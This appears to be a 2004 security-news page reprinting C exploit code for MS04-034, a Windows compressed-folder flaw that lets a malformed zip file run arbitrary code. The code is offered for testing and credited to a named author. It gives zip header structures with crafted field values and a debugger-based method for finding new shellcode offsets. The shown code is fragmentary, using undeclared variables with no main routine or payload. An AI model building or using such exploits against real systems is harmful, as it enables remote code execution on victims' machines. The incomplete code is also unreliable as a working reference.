Windows Compressed Zip File Exploit Code (MS04-034)
22 Nov. 2004
Summary
As we reported in our previous article: Vulnerability in Compressed (zipped) Folders Allows Remote Code Execution (MS04-034), a vulnerability in Windows' compressed folder support allows an attacker to cause the Windows environment to execute arbitrary code by creating a malformed zip file. The following exploit code can be used to test the vulnerability on your system.
Exploit:
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
*
* Tested under Windows XP SP0 Spanish/English - SECU
*
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
* Exploit Date: 21/10/2004
*
* Tarako - Haxorcitos.com 2004
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Greetings to: #haxorcitos, #dsr and #localhost @efnet
*
*
* How to get new offsets:
* 1) attach debugger (i.e ollydbg) to explorer.exe
* 2) open the zip file as a folder and add or move some files to it
* 3) search in the explorer.exe memory the shellcode and get the addresses
*
*/
#include <stdio.h>
#include <windows.h>
#pragma pack(1)
#define DATOS "Tarako-Haxorcitos.com"
typedef struct {
DWORD Signature; // PK.. 4 bytes (0x04034B50)
WORD VersionNeeded;
WORD GeneralPurposeFlag; // para el data descriptor y demas
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
// filename (variable size)
// extra field (variable size)
}TOPHEADER;
typedef struct {
DWORD Signature; // PK.. 4 bytes (0x02014B50)
WORD MadeVersion;
WORD VersionNeeded;
WORD GeneralPurposeFlag; // para el data descriptor y demas
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
WORD FileCommentLength;
WORD DiskNumberStart;
WORD InternalFileAttributes;
DWORD ExternalFileAttributes;
DWORD RelativeOffsetOfLocalHeader;
// filename (variable size)
// extra field (variable size)
// file comment (variable size)
}MIDDLEHEADER;
typedef struct {
DWORD Signature; // PK.. 4 bytes (0x06054B50)
WORD NumOfThisDisk;
WORD NumDisckStartCentralDirectory;
WORD NumEntriesCentralDirOnThisDisk;
WORD TotalNumEntriesCentralDir;
DWORD SizeCentralDirectory;
DWORD OffsetCentraDirRespectStartDiskNum;
WORD ZipCommentLength;
// zipfile comment (variable size)
}BOTTOMHEADER;
///////////////////////////////////////////////////////////////////
// TOPHEADER
///////////////////////////////////////////////////////////////////
Cabecera1->Signature=0x04034B50; // DWORD
Cabecera1->VersionNeeded=0x000A; // WORD
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
Cabecera1->CompressionMethod=0x0000; // WORD
Cabecera1->ModFileTime=0x1362; // WORD
Cabecera1->ModFileDate=0x3154; // WORD
Cabecera1->Crc32=0x85B36639; // DWORD
Cabecera1->CompressedSize=0x00000015; // DWORD
Cabecera1->UncompressedSize=0x00000015; // DWORD
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
Cabecera1->ExtraFieldLength=0x0000; // WORD
///////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////
// MIDDLEHEADER
///////////////////////////////////////////////////////////////////
Cabecera2->Signature=0x02014B50; // DWORD
Cabecera2->MadeVersion=0x0014; // WORD
Cabecera2->VersionNeeded=0x000A; // WORD
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
Cabecera2->CompressionMethod=0x0000; // WORD
Cabecera2->ModFileTime=0x1362; // WORD
Cabecera2->ModFileDate=0x3154; // WORD
Cabecera2->Crc32=0x85B36639; // DWORD
Cabecera2->CompressedSize=0x00000015; // DWORD
Cabecera2->UncompressedSize=0x00000015; // DWORD
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
Cabecera2->ExtraFieldLength=0x0000; // WORD
Cabecera2->FileCommentLength=0x0000; // WORD
Cabecera2->DiskNumberStart=0x0000; // WORD
Cabecera2->InternalFileAttributes=0x0001; // WORD
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
///////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////
// BOTTOMHEADER
///////////////////////////////////////////////////////////////////
Cabecera3->Signature=0x06054B50; // DWORD
Cabecera3->NumOfThisDisk=0x0000; // WORD
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
Cabecera3->ZipCommentLength=0x0000; // WORD
///////////////////////////////////////////////////////////////////
